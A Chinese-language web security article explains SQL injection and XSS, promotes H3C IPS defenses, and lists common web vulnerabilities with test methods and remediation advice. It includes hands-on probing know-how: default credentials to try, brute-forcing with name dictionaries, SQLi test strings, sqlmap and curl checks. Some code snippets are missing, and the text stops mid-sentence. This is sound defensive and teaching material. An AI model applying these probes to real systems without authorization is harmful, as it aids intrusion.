跨站脚本漏洞是因为Web应用程序时没有对用户提交的语句和变量进行过滤或限制，攻击者通过Web页面的输入区域向数据库或HTML页面中提交恶意代码，当用户打开有恶意代码的链接或页面时，恶意代码通过浏览器自动执行，从而达到攻击的目的。跨站脚本漏洞危害很大，尤其是目前被广泛使用的网络银行，通过跨站脚本漏洞攻击者可以冒充受害者访问用户重要账户，盗窃企业重要信息。
根据前期各个漏洞研究机构的调查显示，SQL注入漏洞和跨站脚本漏洞的普遍程度排名前两位，造成的危害也更加巨大。
1.2 SQL注入攻击原理
SQL注入攻击是通过构造巧妙的SQL语句，同网页提交的内容结合起来进行注入攻击。比较常用的手段有使用注释符号、恒等式（如1＝1）、使用union语句进行联合查询、使用insert或update语句插入或修改数据等，此外还可以利用一些内置函数辅助攻击。
通过SQL注入漏洞攻击网站的步骤一般如下：
第一步：探测网站是否存在SQL注入漏洞。
第二步：探测后台数据库的类型。
第三步：根据后台数据库的类型，探测系统表的信息。
第四步：探测存在的表信息。
第五步：探测表中存在的列信息。
第六步：探测表中的数据信息。
1.3 跨站脚本攻击原理
跨站脚本攻击的目的是盗走客户端敏感信息,冒充受害者访问用户的重要账户。跨站脚本攻击主要有以下三种形式：
1、本地跨站脚本攻击
B给A发送一个恶意构造的Web URL，A点击查看了这个URL，并将该页面保存到本地硬盘（或B构造的网页中存在这样的功能）。A在本地运行该网页，网页中嵌入的恶意脚本可以A电脑上执行A持有的权限下的所有命令。
2、反射跨站脚本攻击
A经常浏览某个网站，此网站为B所拥有。A使用用户名/密码登录B网站，B网站存储下A的敏感信息（如银行帐户信息等）。C发现B的站点包含反射跨站脚本漏洞，编写一个利用漏洞的URL，域名为B网站，在URL后面嵌入了恶意脚本（如获取A的cookie文件），并通过邮件或社会工程学等方式欺骗A访问存在恶意的URL。当A使用C提供的URL访问B网站时，由于B网站存在反射跨站脚本漏洞，嵌入到URL中的恶意脚本通过Web服务器返回给A，并在A浏览器中执行，A的敏感信息在完全不知情的情况下将发送给了C。
3、持久跨站脚本攻击
B拥有一个Web站点，该站点允许用户发布和浏览已发布的信息。C注意到B的站点具有持久跨站脚本漏洞，C发布一个热点信息，吸引用户阅读。A一旦浏览该信息，其会话cookies或者其它信息将被C盗走。持久性跨站脚本攻击一般出现在论坛、留言簿等网页，攻击者通过留言，将攻击数据写入服务器数据库中，浏览该留言的用户的信息都会被泄漏。
Web应用漏洞的防御实现
对于以上常见的Web应用漏洞漏洞，可以从如下几个方面入手进行防御：
1)对 Web应用开发者而言
大部分Web应用常见漏洞，都是在Web应用开发中，开发者没有对用户输入的参数进行检测或者检测不严格造成的。所以，Web应用开发者应该树立很强的安全意识，开发中编写安全代码；对用户提交的URL、查询关键字、HTTP头、POST数据等进行严格的检测和限制，只接受一定长度范围内、采用适当格式及编码的字符，阻塞、过滤或者忽略其它的任何字符。通过编写安全的Web应用代码，可以消除绝大部分的Web应用安全问题。
对Web网站管理员而言
作为负责网站日常维护管理工作Web管理员，应该及时跟踪并安装最新的、支撑Web网站运行的各种软件的安全补丁，确保攻击者无法通过软件漏洞对网站进行攻击。
除了软件本身的漏洞外，Web服务器、数据库等不正确的配置也可能导致Web应用安全问题。Web网站管理员应该对网站各种软件配置进行仔细检测，降低安全问题的出现可能。
此外，Web管理员还应该定期审计Web服务器日志，检测是否存在异常访问，及早发现潜在的安全问题。
3）使用网络防攻击设备
前两种为事前预防方式，是比较理想化的情况。然而在现实中，Web应用系统的漏洞还是不可避免的存在：部分Web网站已经存在大量的安全漏洞，而Web开发者和网站管理员并没有意识到或发现这些安全漏洞。由于Web应用是采用HTTP协议，普通的防火墙设备无法对Web类攻击进行防御，因此可以使用IPS入侵防御设备来实现安全防护。
H3C IPS Web攻击防御
H3C IPS入侵防御设备有一套完整的Web攻击防御框架，能够及时发现各种已经暴露的和潜在的Web攻击。下图为对于Web攻击的总体防御框架。
图1：Web攻击防御框架，参见：http://blog.csdn.net/moshenglv/article/details/53439579
H3C IPS采用基于特征识别的方式识别并阻断各种攻击。IPS设备有一个完整的特征库，并可定期以手工与自动的方式对特征库进行升级。当网络流量进入IPS后，IPS首先对报文进行预处理，检测报文是否正确，即满足协议定义要求，没有错误字段；如果报文正确，则进入深度检测引擎。该引擎是IPS检测的核心模块，对通过IPS设备的Web流量进行深层次的分析，并与IPS攻击库中的特征进行匹配，检测Web流量是否存在异常；如果发现流量匹配了攻击特征，IPS则阻断网络流量并上报日志；否则，网络流量顺利通过。
此Web攻击防御框架有如下几个特点：
构造完整的Web攻击检测模型，准确识别各种Web攻击
针对Web攻击的特点，考虑到各种Web攻击的原理和形态，在不同漏洞模型之上开发出通用的、层次化的Web攻击检测模型，并融合到特征库中。这些模型抽象出Web攻击的一般形态，对主流的攻击能够准确识别，使得模型通用化。
检测方式灵活，可以准确识别变形的Web攻击
在实际攻击中，攻击者为了逃避防攻击设备的检测，经常对Web攻击进行变形，如采用URL编码技术、修改参数等。H3C根据Web应用漏洞发生的原理、攻击方式和攻击目标，对攻击特征进行了扩展。即使攻击者修改攻击参数、格式、语句等内容，相同漏洞原理下各种变形的攻击同样能够被有效阻断。这使得IPS的防御范围扩大，防御的灵活性也显著增强，极大的减少了漏报情况的出现。
确保对最新漏洞及技术的跟踪，有效阻止最新的攻击
随着Web攻击出现的频率日益增高，其危害有逐步扩展的趋势。这对IPS设备在防御的深度和广度上提出了更高的要求，不仅要能够防御已有的Web攻击，更要有效的阻止最新出现的、未公布的攻击。目前，H3C已经建立起一套完整的攻防试验环境，可以及时发现潜在Web安全漏洞。同时还在继续跟踪最新的Web攻击技术和工具，及时更新Web攻击的特征库，第一时间发布最新的Web漏洞应对措施，确保用户的网络不受到攻击。
保证正常业务的高效运行
检测引擎是IPS整个设备运行的关键，该引擎使用了高效、准确的检测算法，对通过设备的流量进行深层次的分析，并通过和攻击特征进行匹配，检测流量是否存在异常。如果流量没有匹配到攻击特征，则允许流量通过，不会妨碍正常的网络业务，在准确防御的同时保证了正常业务的高效运行。
结束语
互联网和Web技术广泛使用，使Web应用安全所面临的挑战日益严峻，Web系统时时刻刻都在遭受各种攻击的威胁，在这种情况下，需要制定一个完整的Web攻击防御解决方案，通过安全的Web应用程序、Web服务器软件、Web防攻击设备共同配合，确保整个网站的安全。任何一个简单的漏洞、疏忽都会造成整个网站受到攻击，造成巨大损失。此外 ，Web攻击防御是一个长期持续的工作，随着Web技术的发展和更新，Web攻击手段也不断发展，针对这些最新的安全威胁，需要及时调整Web安全防护策略，确保Web攻击防御的主动性，使Web网站在一个安全的环境中为企业和客户服务。
常见漏洞整改建议收集
Apache样例文件泄漏
测试方法
  在链接的根目录中添加examples或者docs目录进行访问判断！
漏洞描述
 apache一些样例文件没有删除，可能存在cookie、session伪造，进行后台登录操作
修复建议
 1、删除样例文件
 2、对apache中web.xml进行相关设置
弱口令
测试方法
  先手工尝试一些最基本的弱口令，如admin/admin、admin/123456、admin/888888等，如果不行，使用暴力破解工具进行暴力破解，如使用burpsuite，另外推荐一个小技巧，使用暴力破解的时候，弱口令使用2到3个常见的，然后用户名使用人名拼音top500！
漏洞描述
  由于系统中存在有弱口令，导致攻击者通过弱口令可轻松登录系统中，从而进行下一步的攻击，如上传webshell，获取敏感数据！
  另外攻击者利用弱口令登录网站管理后台，可任意增删改等操作，从而造成负面影响！
修复建议
  1、 建议强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略；
  2、 完善密码策略，信息安全最佳实践的密码策略为8位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少3种。
  3、对管理后台进行访问控制，修改后台弱口令，加强口令强度并定期修改。
  4、增加验证机制，防爆破机制，限制ip＋cookie访问次数。
明文传输登录口令
测试方法
  使用浏览器自带的F12中的network模块就可以进行查看，或者使用抓包工具，如sniffer、burpsuite、fiddler等！
漏洞描述
  用户登录过程中使用明文传输用户登录信息，若用户遭受中间人攻击时，攻击者可直接获取该用户登录账户，从而进行进一步渗透。
修复建议
  1、用户登录信息使用加密传输，如密码在传输前使用安全的算法加密后传输，可采用的算法包括：不可逆hash算法加盐（4位及以上随机数，由服务器端产生）；安全对称加密算法，如AES(128、192、256位)，且必须保证客户端密钥安全，不可被破解或读出；非对称加密算法，如RSA(不低于1024位)、SM2等。
  2、使用https来保证传输的安全。
暴力破解
测试方法
  使用截断抓包工具进行暴力破解，如burpsuite，推荐使用2到3个弱口令，然后使用人名拼音top500加上自己实际中常用字典进行暴力破解！
漏洞描述
  由于没有对登录页面进行相关的防暴力破解机制，如无验证码、有验证码但验证码未在服务器端校验以及无登录错误次数限制等，导致攻击者可通过暴力破解获取用户登录账户及口令，从而获取网站登录访问权限！
修复建议
  1、添加验证码机制，加入图片（验证码动态生成且满足随机性）或者短信验证码（验证码具备超时时限一般为1分钟，且在该时限内错误次数超过3次则进行锁定1分钟后方能重新获取验证码，超时后验证码自动失效）！
  2、验证码必须在服务器端进行校验，客户端的一切校验都是不安全的！
SQL注入漏洞
测试方法
  在发现有可控参数的地方使用sqlmap进行SQL注入的检查或者利用，也可以使用其他的SQL注入工具，简单点的可以手工测试，利用单引号、and 1=1 和 and 1=2以及字符型注入进行判断！推荐使用burpsuit的sqlmap插件，这样可以很方便，鼠标右键就可以将数据包直接发送到sqlmap里面进行检测了！
漏洞描述
  Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行，导致参数中的特殊字符打破了SQL语句原有逻辑，黑客可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
修复建议
  代码层最佳防御sql漏洞方案：采用sql语句预编译和绑定变量，是防御sql注入的最佳方法。
  （1）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。
  （2）对进入数据库的特殊字符（’”<>&;等）进行转义处理，或编码转换。
  （3）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。
  （4）数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。
  （5）网站每个数据层的编码统一，建议全部使用UTF-8编码，上下层编码不一致有可能导致一些过滤模型被绕过。
  （6）严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
  （7）避免网站显示SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。
跨站脚本攻击（xss）漏洞
测试方法
  在可控参数的地方，使用常见的xss payload（”>）进行测试，可以使用BruteXSS-master进行快速检查！
漏洞描述
  1、Web程序代码中把用户提交的参数未做过滤或过了不严就直接输出到页面，参数中的特殊字符打破了HTML页面的原有逻辑，黑客可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫传播、篡改页面实施钓鱼攻击、诱以及导用户再次登录，然后获取其登录凭证等。
  2、XSS攻击对Web服务器本身虽无直接危害，但是它借助网站进行传播，对网站用户进行攻击，窃取网站用户账号信息等，从而也会对网站产生较严重的危害。XSS攻击可导致以下危害：
  3、钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入，甚至攻击者基于DHTML技术发起更高级的钓鱼攻击。
  4、网站挂马：跨站时，攻击者利用Iframe标签嵌入隐藏的恶意网站，将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式，进行挂马攻击。
  5、身份盗用：Cookie是用户对于特定网站的身份验证标志，XSS攻击可以盗取用户的cookie，从而利用该cookie盗取用户对该网站的操作权限。如果一个网站管理员用户的cookie被窃取，将会对网站引发巨大的危害。
  6、盗取网站用户信息：当窃取到用户cookie从而获取到用户身份时，攻击者可以盗取到用户对网站的操作权限，从而查看用户隐私信息。
  7、垃圾信息发送：在社交网站社区中，利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
  8、劫持用户Web行为：一些高级的XSS攻击甚至可以劫持用户的Web行为，从而监视用户的浏览历史、发送与接收的数据等等。
  9、XSS蠕虫：借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。
修复建议
  xss漏洞本质上是一种html注入，也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义
  （1）假定所有输入都是可疑的，必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口，也包括HTTP请求中的Cookie中的变量，HTTP请求头部中的变量等。
  （2）不仅要验证数据的类型，还要验证其格式、长度、范围和内容。
  （3）不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
  （4）对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。
目标服务器启用了不安全HTTP方法
测试方法
  这里可以使用多种方法，可以使用burpsuit进行截断将数据包发往repter，然后将对应的HTTP方法更改为OPTIONS，看响应包里面的allow是否有不安全的方法，也可以使用curl进行检查，命令为：curl -i -X OPTIONS URL ，-i可以换为-v，查看更详细的内容！
漏洞描述
  目标服务器启用了不安全的传输方法，如PUT、TRACE、DELETE、MOVE等，这些方法表示可能在服务器上使用了 WebDAV，由于dav方法允许客户端操纵服务器上的文件，如上传、修改、删除相关文件等危险操作，如果没有合理配置dav，有可能允许未授权的用户对其进行利用，修改服务器上的文件。
修复建议
  1、关闭不安全的传输方法，推荐只使用POST、GET方法！
  2、如果服务器不需要支持 WebDAV，请务必禁用它。
或者为允许webdav的目录配置严格的访问权限，如认证方法，认证需要的用户名，密码。
任意文件上传
测试方法
  在文件上传的地方，进行上传任意后缀文件看能否上传，可以使用多种文件上传及解析漏洞利用的技巧进行上传（参考链接），还可以通过观察上传正常文件确认是否有二次上传漏洞！
漏洞描述
  文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或webserver相关解析漏洞未修复而造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过 Web 访问的目录上传任意文件，包括网站后门文件（webshell），进而远程控制网站服务器。
  攻击者可通过此漏洞上传恶意脚本文件，对服务器的正常运行造成安全威胁！
修复建议
  1、对上传文件类型进行限制，并且不能只做前端的限制，而要前端和后端一起限制，后端可以进行扩展名检测，重命名文件，MIME类型检测以及限制上传文件的大小，或是将上传的文件放在安全的路径下，尽量放于web server之外的远程服务器等。
  2、严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。
  3、对上传文件格式进行严格校验及安全扫描，防止上传恶意脚本文件；
  4、设置权限限制，禁止上传目录的执行权限；
  5、严格限制可上传的文件类型；
  6、严格限制上传的文件路径。
  7、文件扩展名服务端白名单校验。
  8、文件内容服务端校验。
  9、上传文件重命名。
  10、隐藏上传文件路径。
测试页面泄漏在外网
测试方法
  这里可以使用后台目录扫描工具进行目录扫描，如御剑、test404、M7lrv后台扫描工具、Pker等！
漏洞描述
  一些测试页面泄漏到外网，导致外界误传公司被黑客入侵，影响公司声誉。
修复建议
  删除测试页面以及无用文件，例如test.cgi，phpinfo.php，info.pho， .svn/entries等。
目录浏览
测试方法
  如果链接是多级目录，那么逐级删除目录进行查看，如果链接不是多级目录，可以通过查看图片属性，然后逐级删除目录进行查看，这里可以使用F12进行查看资源文件，如图片路径、js路径等，然后逐级删除目录进行确认！
漏洞描述
  由于服务器端配置不当，开启了目录浏览，黑客可获得服务器上的文件目录结构，从而下载敏感文件。
修复建议
  1.通过修改配置文件，去除中间件（如IIS、apache、tomcat）的文件目录索引功能
  2.设置目录权限
  3.在每个目录下创建一个空的index.html页面。
phpinfo信息泄漏
测试方法
  直接在根目录中输入phpinfo.php进行访问，如果文件更名了，我们可以使用目录扫描工具进行判断！
漏洞描述
  Web站点的某些测试页面可能会使用到PHP的phpinfo()函数，会输出服务器的关键信息，从而造成信息泄露，通过获取的信息可进行下一步的攻击计划！
修复建议
  删除该PHP文件！
未授权访问
测试方法
  如果你怀疑那个页面或者那个链接存在未授权访问，你可以将该链接在另一个浏览器中打开，看是否能正常访问！
漏洞描述
  由于没有对相关敏感页面进行访问权限的检查，导致攻击者可未授权访问，从而获取敏感信息及进行未授权操作等！
修复建议
  对相关页面进行严格的访问权限的控制以及对访问角色进行权限检查！
越权访问
测试方法
  这里主要是通过更改敏感参数进行判断，若你访问你自己的个人信息时，链接中某一个参数就是你的登录名或者一个ID，此时就可以通过修改该参数进行简单判断！参考链接
漏洞描述
  由于没有对用户访问角色的权限进行严格的检查及限制，导致当前账号可对其他账号进行相关操作，如查看、修改等！
修复建议
  对用户访问角色的权限进行严格的检查及限制！
命令执行漏洞
漏洞描述
  命令执行漏洞是指代码未对用户可控参数做过滤，导致直接带入执行命令的代码中，对恶意构造的语句，可被用来执行任意命令。黑客可在服务器上执行任意命令，写入后门，从而入侵服务器，获取服务器的管理员权限，危害巨大。
修复建议
  严格过滤用户输入的数据，禁止执行非预期系统命令！
应用程序错误信息泄露
漏洞描述
  黑客可通过特殊的攻击向量，使web服务器出现500、404等相关错误，导致信息泄漏如绝对路径、webserver版本、源代码、sql语句等敏感信息，恶意攻击者很有可能利用这些信息实施进一步的攻击。
修复建议
  1、自定义错误页面或归一化错误页面信息提示！
  2、修正代码！
LDAP注入
漏洞描述
  由于Web 应用程序没有对用户提供的输入进行适当过滤和检查，攻击者便有可能修改LDAP 语句的结构，并且以（例如：数据库服务器、Web 应用程序服务器、Web 服务器）的权限执行任意命令，许可权可能会允许查询、修改或除去 LDAP 树状构造内任何数据。
修复建议
  对用户的输入进行严格的过滤及检查，并且对类型也进行检查！
文件包含漏洞
漏洞描述
  本地文件包含是指程序代码在处理包含文件的时候没有严格控制。利用这个漏洞，攻击者可以先把上传的静态文件，或网站日志文件作为代码执行，或者包含远程服务器上的恶意文件，进而获取到服务器权限。
修复建议
  1、严格检查变量是否已经初始化。
  2、对所有输入提交可能包含的文件地址，包括服务器本地文件及远程文件，进行严格的检查，参数中不允许出现…/之类的目录跳转符。
  3、严格检查include类的文件包含函数中的参数是否外界可控。
  4、不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
网站敏感压缩文件泄露
漏洞描述
  误将网站备份文件或是敏感信息文件存放在某个网站目录下，外部黑客可通过暴力破解文件名等方法下载该备份文件，导致网站敏感信息泄露。
修复建议
  1、不要在网站目录下存放网站备份文件或敏感信息的文件。
  2、如需存放该类文件，请将文件名命名为难以猜解的字符串。
CRLF HTTP 头部注入漏洞
漏洞描述
  CRLF 是“回车 + 换行”（\r\n）的简称。在 HTTP 协议中，HTTP Header 与 HTTP Body 是用两个 CRLF 符号进行分隔的，浏览器根据这两个 CRLF 符号来获取 HTTP 内容并显示。因此，一旦攻击者能够控制 HTTP 消息头中的字符，注入一些恶意的换行，就能注入一些会话 Cookie 或者 HTML 代码。
修复建议
  过滤 \r 、\n 之类的换行符，避免输入的数据污染到其他 HTTP 消息头。
URL 跳转漏洞
漏洞描述
  Web 程序直接跳转到参数中的 URL ，或页面引入任意的开发者 URL，被攻击者利用可实施钓鱼攻击等操作 。
修复建议
  在控制页面转向的地方校验传入的URL是否为可信域名。
Crossdomain.xml 配置不当
漏洞描述
  网站根目录下的 crossdomain.xml 文件指明了远程 Flash 是否可以加载当前网站的资源（图片、网页内容、Flash等）。如果配置不当，可能导致遭受跨站请求伪造（CSRF）攻击。
修复建议
  对于不需要从外部加载资源的网站，在 crossdomain.xml 文件中更改allow-access-from的domain属性为域名白名单。
敏感信息泄露
漏洞描述
  在页面中或者返回的响应包中泄露了敏感信息，通过这些信息，攻击者可进一步渗透。
修复建议
  1、如果是探针或测试页面等无用的程序建议删除，或者修改不易被猜到的名字。
  2、禁用泄露敏感信息的页面或应用。
  3、对相关敏感信息进行模糊化处理，在服务器端进行！
  4、对服务器端返回的数据进行严格的检查，满足查询数据与页面显示数据一致，切勿返回多于的数据！
任意文件下载
漏洞描述
  文件下载处由于未对下载路径进行过滤，利用路径回溯符…/跳出程序本身的限制目录实现来下载任意文件，如下载系统密码文件等！
修复建议
  对下载路径进行过滤，如下载前对传入的参数进行过滤，并且对下载文件类型进行检查，是否是允许下载的类型，另外禁止使用回溯符…/ ！
weblogic SSRF服务器请求伪造
漏洞描述
  目标存在weblogic SSRF服务器请求伪造漏洞。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）。Weblogic中间件默认带有“UDDI 目录浏览器”且为未授权访问，通过该应用，可进行无回显的SSRF请求。攻击者可利用该漏洞对企业内网进行大规模扫描，了解内网结构，并可能结合内网漏洞直接获取服务器权限。
修复建议
  1.删除uddiexplorer文件夹
  2.限制uddiexplorer应用只能内网访问
目标站点存在网马
漏洞描述
  经渗透测试发现目标站点存在有webshell，攻击者可进行远程连接操作，进行恶意操作！
修复建议
  删除可疑文件，并进行本地文件漏洞扫描排查是否还存在有其他木马！
  使用相关手段发现并及时修复已存在的漏洞！
IIS短文件名泄露漏洞
漏洞描述
  Internet Information Services（IIS，互联网信息服务）是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 Microsoft IIS在实现上存在文件枚举漏洞，攻击者可利用此漏洞枚举网络服务器根目录中的文件。 危害：攻击者可以利用“~”字符猜解或遍历服务器中的文件名，或对IIS服务器中的.Net Framework进行拒绝服务攻击。
  黑客可通过该漏洞尝试获取网站服务器下存放文件的文件名，达到获取更多信息来入侵服务器的目的。
修复建议
  修改Windows配置，关闭短文件名功能。
  1.关闭NTFS 8.3文件格式的支持。该功能默认是开启的，对于大多数用户来说无需开启。
  2.如果是虚拟主机空间用户,可采用以下修复方案：
    1）修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除)。
    2）如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 — Web 服务扩展 - ASP.NET 选择禁止此功能。
    3）升级net framework 至4.0以上版本。
  3.将web文件夹的内容拷贝到另一个位置，比如D:\www到D:\www.back，然后删除原文件夹D:\www，再重命名D:\www.back到D:\www。如果不重新复制，已经存在的短文件名则是不会消失的。
Apache Struts2 远程代码执行漏洞（S2-019）
漏洞描述
  Apache Struts2的“Dynamic Method Invocation”机制是默认开启的，仅提醒用户如果可能的情况下关闭此机制，如果未关闭此机制将导致远程代码执行漏洞，远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
修复建议
  1、目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载！
  2、或者手工设置struts.xml文件
Apache Struts2 远程代码执行漏洞（S2-037）
漏洞描述
  Apache Struts2在使用REST插件时，攻击者可以绕过动态方法执行的限制，调用恶意表达式执行远程代码。
修复建议
  建议用户到官方获取最新补丁或者最新版本程序！
Apache Struts2 DevMode 远程代码执行漏洞
漏洞描述
  为了便于开发人员调试程序，Struts2提供了一个devMode模式，可以方便查看程序错误以及日志等信息。 当Struts2中的devMode模式设置为true时，存在严重远程代码执行漏洞。如果WebService 启动权限为最高权限时，可远程执行任意命令，包括关机、建立新用户、以及删除服务器上所有文件等等。
修复建议
  建议用户到官方获取最新补丁或者最新版本程序！
  或者将struts.properties中的devMode设置为false，或是在struts.xml中添加如下代码：。
Apache Struts2 远程代码执行漏洞（S2-045）
漏洞描述
  Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞，漏洞编号为CVE-2017-5638。攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发该漏洞，导致远程执行代码。
修复建议
  检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ，如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞！
  1、建议用户到官方获取最新补丁或者最新版本程序！
  2、更新至Strusts2.3.32或者Strusts2.5.10.1，或使用第三方的防护设备进行防护。
  3、临时解决方案：删除commons-fileupload-x.x.x.jar文件（会造成上传功能不可用）。
  4、修改WEB-INF/classes目录下的配置
在WEB-INF/classes目录下的struts.xml中的struts 标签下添加